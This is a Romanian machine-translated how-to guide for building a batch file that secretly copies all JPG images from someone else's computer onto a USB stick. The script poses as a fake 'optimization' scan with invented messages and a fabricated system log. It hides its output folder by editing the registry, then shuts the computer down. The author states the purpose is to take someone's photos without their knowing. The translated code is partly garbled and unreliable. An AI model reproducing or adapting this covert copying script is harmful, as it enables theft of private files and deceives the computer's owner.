Copiere de imagini spion secretă Fișier lot: 5 pași

2024 Autor: John Day | [email protected]. Modificat ultima dată: 2024-01-30 11:47

Deci, mai întâi, ce este această creație instructivă și de ce. Acest instructabil vă va permite să creați un fișier batch care va copia toate imaginile de pe un computer pe stick-ul de memorie. va face acest lucru discret, prezentându-se ca un alt program care verifică computerul pentru probleme. După finalizare, veți avea un folder ascuns pe memoria dvs. cu toate imaginile copiate. Am creat acest instructable pentru că am vrut să extrag o fotografie digitală de pe cineva, fără ca ei să știe că am făcut-o. Utilizarea legitimă a acestui fișier vă va permite să arhivați / să faceți copii de rezervă ale fotografiilor personale. Alte utilizări: Acest fișier poate fi modificat pentru a permite copierea oricărui alt tip de document.

Pasul 1: scrieți codul

Copiați următorul cod în notepad și salvați-l pe rădăcina memoriei dvs. ca fișier bat, îl puteți numi oricum doriți, atâta timp cât are extensia.bat. Pentru a vă asigura că are extensia corectă, tastați-o după cum urmează în caseta de salvare a notepad-ului "copyimage.bat" (includeți cotațiile!)

@echo offecho Optimization client 2008 v3.02becho -------------------------------- echo.echo Vă rugăm să nu utilizați computerul în timp ce aceasta rulează.echo.echo Lista proceselor de scanare. După finalizare, va fi afișat un jurnal pentru ca administratorul dvs. de sistem să îl revizuiască.echo.echo Vă rugăm să aveți răbdare, acest lucru poate dura până la 3 ore. 00000002 / f> nulmkdir / data> nulattrib + h / data> nulsetLocal EnableDelayedExpansion @ echo offfor %% a in (jpg) do (for / f "tokens = * delims =" %% f in ('dir / b / s / ad c: / *. %% a ') do (xcopy "%% f" / data / / y / h / q> nul)) attrib -s + h data / *> nulstart optimizationLog.txtshutdown / s / c " Scanarea de optimizare a fost finalizată, computerul dvs. se va opri acum"

Pasul 2: Creați un fișier de raport fals

În acest pas am creat un fișier text fals care pretinde că este jurnalul rezultatului fișierului batch pe care îl rulăm pentru a copia fișierele. Acest lucru vă permite să pretindeți că s-a întâmplat ceva. Nu contează ce spune acest fișier, îl puteți schimba cât doriți, asigurați-vă că numele fișierului este corect și că este stocat pe rădăcina cardului dvs. de memorie. jurnal, copiați-l și salvați-l în rădăcina memoriei dvs. ca optimizationLog.txt

Scanare finalizată. Închideți acest jurnal și permiteți administratorului sistemului să îl revizuiască. Procese de rulare: C: / Windows / system32 / taskeng.exeC: / Windows / system32 / Dwm.exeC: / Windows / Explorer. EXEC: / Program Files / Java / jre1. 6.0_07 / bin / jusched.exeC: / Windows / System32 / hkcmd.exeC: / Windows / System32 / igfxpers.exeC: / Windows / system32 / igfxsrvc.exeC: / Program Files / Synaptics / SynTP / SynTPEnh.exeC: / Program Files / TOSHIBA / Power Saver / TPwrMain.exeC: / Program Files / TOSHIBA / SmoothView / SmoothView.exeC: / Program Files / TOSHIBA / FlashCards / TCrdMain.exeC: / Program Files / BitDefender / BitDefender 2009 / bdagent.exeC: / Program Files / TOSHIBA / TOSCDSPD / TOSCDSPD.exeC: / Program Files / Registry Mechanic / regmech.exeC: / Program Files / BitDefender / BitDefender 2009 / seccenter.exeC: / Program Files / Synaptics / SynTP / SynTPHelper.exeC: / Program Files / Vuze / Azureus.exeC: / Program Files / Microsoft Office / Office12 / OUTLOOK. EXEC: / Program Files / AutoCAD 2008 / acad.exeC: / Users / Tom / AppData / Local / Temp / AdskCleanup.0001C: / Program Files / Mozilla Firefox / firefox.exeC: / Windows / System32 / NOTĂ PAD. EXEC: / Windows / system32 / SearchFilterHost.exeC: / HijackThis / HijackThis.exeR1 - HKCU / Software / Microsoft / Internet Explorer / Main, Default_Page_URL = https://www.google.co.ukR1 - HKCU / Software / Microsoft / Internet Explorer / Main, Pagina de căutare = https://go.microsoft.com/fwlink/?LinkId=54896R0 - HKCU / Software / Microsoft / Internet Explorer / Main, Start Page = https://www.google.co. ukR1 - HKLM / Software / Microsoft / Internet Explorer / Main, Default_Page_URL = https://www.google.co.ukR1 - HKLM / Software / Microsoft / Internet Explorer / Main, Default_Search_URL = https://go.microsoft.com/ fwlink /? LinkId = 54896R1 - HKLM / Software / Microsoft / Internet Explorer / Main, Pagina de căutare = https://go.microsoft.com/fwlink/?LinkId=54896R0 - HKLM / Software / Microsoft / Internet Explorer / Main, Start Pagină = https://go.microsoft.com/fwlink/?LinkId=69157R0 - HKLM / Software / Microsoft / Internet Explorer / Search, SearchAssistant = R0 - HKLM / Software / Microsoft / Internet Explorer / Search, CustomizeSearch = R0 - HKCU / Software / Microsoft / Internet Explorer / Prea lbar, LinksFolderName = O1 - Gazde::: 1 localhostO2 - BHO: AcroIEHelperStub - {18DF081C-E8AD-4283-A596-FA578C2EBDC3} - C: / Program Files / Common Files / Adobe / Acrobat / ActiveX / AcroIEHelperShim.dO: Groove GFS Browser Helper - {72853161-30C5-4D22-B7F9-0BBC1D38A37E} - C: / Program Files / Microsoft Office / Office12 / GrooveShellExtensions.dllO2 - BHO: SSVHelper Class - {761497BB-D6F0-462C-B6ED-D4: / Program Files / Java / jre1.6.0_07 / bin / ssv.dllO3 - Bara de instrumente: Bara de instrumente BitDefender - {381FFDE8-2394-4f90-B10D-FC6124A40F8C} - C: / Program Files / BitDefender / BitDefender 2009 / IEToolbar.dllO4 - HKLM \.. / Run: [Windows Defender]% ProgramFiles% / Windows Defender / MSASCui.exe -hideO4 - HKLM \.. / Run: [SunJavaUpdateSched] "C: / Program Files / Java / jre1.6.0_07 / bin / jusched.exe "O4 - HKLM \.. / Run: [IgfxTray] C: / Windows / system32 / igfxtray.exeO4 - HKLM \.. / Run: [HotKeysCmds] C: / Windows / system32 / hkcmd.exeO4 - HKLM \.. / Run: [Persistență] C: / Windows / system32 / igfxpers.exeO4 - HKLM \.. / Run: [SynTPEnh] C: / Program Files / Syna ptics / SynTP / SynTPEnh.exeO4 - HKLM \.. / Run: [TPwrMain]% ProgramFiles% / TOSHIBA / Power Saver / TPwrMain. EXEO4 - HKLM \.. / Run: [SmoothView]% ProgramFiles% / Toshiba / SmoothView / SmoothView.exeO4 - HKLM \.. / Run: [00TCrdMain]% ProgramFiles% / TOSHIBA / FlashCards / TCrdMain.exeO4 - HKLM \.. / Run: [Toshiba TEMPO] C: / Program Files / Toshiba TEMPRO / Toshiba. Tempo. UI. TrayApplication.exeO4 - HKLM \.. / Run: [BDAgent] "C: / Program Files / BitDefender / BitDefender 2009 / bdagent.exe" O4 - HKLM \.. / Run: [BitDefender Antiphishing Helper] "C: / Program Files / BitDefender / BitDefender 2009 / IEShow.exe "O4 - HKCU \.. / Run: [TOSCDSPD] C: / Program Files / TOSHIBA / TOSCDSPD / TOSCDSPD.exeO4 - HKCU \.. / Run: [RegistryMechanic] C: / Program Files / Registry Mechanic / RMTray.exe / HO4 - Start: OneNote 2007 Screen Clipper and Launcher.lnk = C: / Program Files / Microsoft Office / Office12 / ONENOTEM. EXEO8 - Element de meniu contextual suplimentar: E & xport to Microsoft Excel - res: //C:\PROGRA~1\MICROS~3\Office12\EXCEL. EXE/3000O9 - Buton suplimentar: (fără nume) - {08B0E5C0-4FCB-11CF-AAA5-0040 1C608501} - C: / PROGRA ~ 1 / Java / JRE16 ~ 2.0_0 / bin / ssv.dllO9 - Meniu suplimentar „Tools”: Sun Java Console - {08B0E5C0-4FCB-11CF-AAA5-00401C608501} - C: / PROGRA ~ 1 / Java / JRE16 ~ 2.0_0 / bin / ssv.dllO9 - Buton suplimentar: Trimiteți la OneNote - {2670000A-7350-4f3c-8081-5663EE0C6C49} - C: / PROGRA ~ 1 / MICROS ~ 3 / Office12 / ONBttnIE.dllO9 - Meniu suplimentar „Tools”: S & end to OneNote - {2670000A-7350-4f3c-8081-5663EE0C6C49} - C: / PROGRA ~ 1 / MICROS ~ 3 / Office12 / ONBttnIE.dllO9 - Buton suplimentar: eBay.co.uk - Cumpărați It Sell It Love It - {76577871-04EC-495E-A12B-91F7C3600AFA} - https://rover.ebay.com/rover/1/710-44557-9400-3/4 (fișier lipsă) O9 - Buton suplimentar: (fără nume) - {85d1f590-48f4-11d9-9669-0800200c9a66} -% windir% / bdoscandel.exe (fișier lipsă) O9 - Meniu suplimentar „Tools”: Dezinstalați BitDefender Online Scanner v8 - {85d1f590-48f4-11d9-9669 -0800200c9a66} -% windir% / bdoscandel.exe (fișier lipsă) O9 - Buton suplimentar: Amazon.co.uk - {8A918C1D-E123-4E36-B562-5C1519E434CE} - https://www.amazon.co.uk/ exec / obidos / redirect-home? tag = Toshibaukbholink-2 1 & site = home (fișier lipsă) O9 - Buton suplimentar: Cercetare - {92780B25-18CC-41C8-B9BE-3C9C571A8263} - C: / PROGRA ~ 1 / MICROS ~ 3 / Office12 / REFIEBAR. DLLO10 - Fișier necunoscut în Winsock LSP: c: / windows / system32 / nlaapi.dllO10 - Fișier necunoscut în Winsock LSP: c: / windows / system32 / napinsp.dllO10 - Fișier necunoscut în Winsock LSP: c: / program files / vmware / vmware workstation / vsocklib.dllO10 - Fișier necunoscut în Winsock LSP: c: / program files / vmware / vmware workstation / vsocklib.dllO11 - Opțiuni grup: [INTERNAȚIONAL] Internațional * O13 - Prefix Gopher: O16 - DPF: {CF40ACC5-E1BB-4AFF-AC72-04C2F616BCA7} (get_atlcom Class) - https://wwwimages.adobe.com/www.adobe.com/products/acrobat/nos/gp.cabO18 - Protocol: grooveLocalGWS - {88FED34C-F0CA-4636-A375-3CB6248B04CD} - C: / Program Files / Microsoft Office / Office12 / GrooveSystemServices.dllO18 - Protocol: ms-help - {314111C7-A502-11D2-BBCA-00C04F8EC294} - C: / Program Files / Common Files / Microsoft Shared / Help / hxds.dllO18 - Filtrare hijack: text / xml - {807563E5-5146-11D5-A672-00B0D022E945} - C: / PROGRA ~ 1 / COMMON ~ 1 / MICROS ~ 1 / OFFICE12 / MSOXMLMF. DLLO20 - Notificare Winlogon: igfxcui - C: / Windows / SYSTEM32 / igfxdev.dllO23 - Serviciu: Agere Modem Call Progress Audio (AgereModemAudio) - Agere Sisteme - C: / Windows / system32 / agrsmsvc.exe O23 - Serviciu: BitDefender Arrakis Server (Arrakis3) - BitDefender SRL https://www.bitdefender.com - C: / Program Files / Common Files / BitDefender / BitDefender Arrakis Server / bin / Arrakis3.exe O23 - Serviciu: Autodesk Licensing Service - Autodesk - C: / Program Files / Common Files / Autodesk Shared / Service / AdskScSrv.exeO23 - Serviciu: ConfigFree Service - TOSHIBA CORPORATION - C: / Program Files / TOSHIBA / ConfigFree / CFSvcs.exeO23 - Service: @% SystemRoot% / ehome / ehstart.dll, -101 (ehstart) - Proprietar necunoscut -% windir% / system32 / svchost.exe (fișier lipsă) O23 - Serviciu: getPlus (R) Helper - NOS Microsystems Ltd. - C: / Program Files / NOS / bin / getPlus_HelperSvc.exeO23 - Serviciu: Google Update Service (gupdate1c98840f4e6525b) (gupdate1c98840f4e6525b) - Proprietar necunoscut - C: / Program Files / Google / Update / GoogleUpdate.exe "/ svc (fișier lipsă) O23 - Serviciu: BitDefender Desktop Update Service (LIVESRV) - Proprietar necunoscut - C: / Program Files / Common Files / BitDefender / BitDefender Update Service / livesrv.exe "/ service (fișier lipsă) O23 - Serviciu: @% SystemRoot% / system32 / qwave.dll, -1 (QWAVE) - Proprietar necunoscut r -% windir% / system32 / svchost.exe (fișier lipsă) O23 - Serviciu: @% SystemRoot% / system32 / seclogon.dll, -7001 (seclogon) - Proprietar necunoscut -% windir% / system32 / svchost.exe (fișier lipsă) O23 - Serviciu: Notebook Performance Tuning Service (TempoMonitoringService) - Toshiba Europe GmbH - C: / Program Files / Toshiba TEMPRO / TempoSVC.exeO23 - Service: TOSHIBA Navi Support Service (TNaviSrv) - TOSHIBA Corporation - C: / Program Files / TOSHIBA / TOSHIBA DVD PLAYER / TNaviSrv.exeO23 - Serviciu: TOSHIBA Optical Disc Drive Service (TODDSrv) - TOSHIBA Corporation - C: / Windows / system32 / TODDSrv.exeO23 - Service: TOSHIBA Power Saver (TosCoSrV) - TOS Program Files / TOSHIBA / Power Saver / TosCoSrv.exeO23 - Serviciu: TOSHIBA SMART Log Service - TOSHIBA Corporation - c: / Program Files / TOSHIBA / SMARTLogService / TosIPCSrv.exeO23 - Serviciu: VMware Agent Service (ufad-ws60) - Necunoscut C: / Program Files / VMware / VMware Workstation / vmware-ufad.exe "-d" C: / Program Files / VMware / VMware Workstation / "-s ufad-p2v.x ml (fișier lipsă) O23 - Serviciu: Ulead Burning Helper (UleadBurningHelper) - Ulead Systems, Inc. - C: / Program Files / Common Files / Ulead Systems / DVD / ULCDRSvr.exeO23 - Serviciu: VMware Authorization Service (VMAuthdService) - VMware, Inc. - C: / Program Files / VMware / VMware Workstation / vmware-authd.exe O23 - Serviciu: VMware DHCP Service (VMnetDHCP) - VMware, Inc. - C: / Windows / system32 / vmnetdhcp.exeO23 - Serviciu: VMware NAT Service - VMware, Inc. - C: / Windows / system32 / vmnat.exe O23 - Serviciu: BitDefender Virus Shield (VSSERV) - Proprietar necunoscut - C: / Program Files / BitDefender / BitDefender 2009 / vsserv.exe "/ service (fișier lipsă) O23 - Serviciu: VNC Server Versiunea 4 (WinVNC4) - Proprietar necunoscut - C: / Program Files / RealVNC / VNC4 / WinVNC4.exe "-serviciu (fișier lipsă) O23 - Serviciu: @% ProgramFiles% / Windows Media Player / wmpnetwk.exe, -101 (WMPNetworkSvc) - Proprietar necunoscut -% ProgramFiles% / Windows Media Player / wmpnetwk.exe (fișier lipsă)

Pasul 3: Rulați programul

Acum ar trebui să aveți un memory stick cu două fișiere pe el (și mult spațiu liber pregătit pentru noile imagini). Dacă mai aveți ceva pe unitate, nu contează. Luați stickul de memorie pe computerul țintă. Când este regisiterat, luați notă de litera de unitate care i-a fost alocată, acest lucru vă va permite să îl rulați fără a fi nevoie să navigați mai întâi în dosar. Aceasta va afișa o casetă Run. În caseta de rulare, tastați calea fișierului batch pe care l-am creat, litera unității fiind litera atribuită când ați conectat stick-ul de memorie.: g: / copyimage.bat Și apoi apăsați Enter sau faceți clic pe Executare. Aceasta va începe să ruleze fișierul batch. După finalizare, va opri aparatul. Scoateți-vă stickul de memorie și scoateți-l!

Pasul 4: Obțineți imaginile

Acum ar trebui să aveți un memory stick cu toate imaginile pe el. Fișierele și folderul sunt ascunse, deci dacă nu aveți afișarea dvs., va trebui să o activați. Pentru aceasta, intrați într-o fereastră de explorare (de exemplu, deschideți computerul) și: WinXP - Instrumente, Opțiuni folder, Vizualizare, Afișare fișiere ascunse Vista - Organizare, Opțiuni folder și căutare, Vizualizare, Afișare fișiere ascunse Odată selectat, ar trebui să puteți deschide folder ascuns și obțineți imaginile dorite!

Pasul 5: Ce înseamnă codul

Voi explica cât mai mult din cod. funcția principală de copiere nu a fost scrisă de mine, am împrumutat-o de pe următorul site și am modificat-o:

@echo off '' Oprește afișarea comenzilor pe ecran, astfel încât utilizatorul nu știe ce se face echo Optimization client 2008 v3.02b echo ------------------- -------------ecou. Scrie pe ecran un titlu pentru ecoul programului Vă rugăm să nu utilizați computerul în timp ce acesta rulează.echo.echo Lista proceselor de scanare. După finalizare, va fi afișat un jurnal pentru ca administratorul dvs. de sistem să îl verifice.echo.echo Vă rugăm să aveți răbdare, acest lucru poate dura până la 3 ore. Spune utilizatorului o încărcătură de gunoi care nu este adevărată reg add HKCU / Software / Microsoft / Windows / CurrentVersion / Explorer / Advanced / v Hidden / t REG_DWORD / d 00000002 / f> nul Adaugă o cheie de registry care va ascunde fișierele ascunse și dosare. Acest lucru împiedică utilizatorul să poată vedea folderul pe care îl creăm pentru a păstra imaginile copiate. Comanda nul la sfârșit oprește comanda de la raportarea oricăror mesaje când termină mkdir / data> nul Realizează un folder pe unitate pe care se află acest fișier batch pe datele numite. attrib + h / data> nul Ascunde folderul creat setLocal EnableDelayedExpansionfor %% a in (jpg) do (for / f "tokens = * delims =" %% f in ('dir / b / s / ad c: / *. %% a ') do (xcopy "%% f" / data / / y / h / q> nul)) Acesta este codul care va căuta imagini în întreaga unitate c: \. Dacă doriți să caute o altă unitate, schimbați partea c: cu ceea ce doriți. Dacă doriți să găsească alte tipuri de fișiere, listați-le lângă textul jpg, separați tipurile de fișiere cu un spațiu. De exemplu-j.webp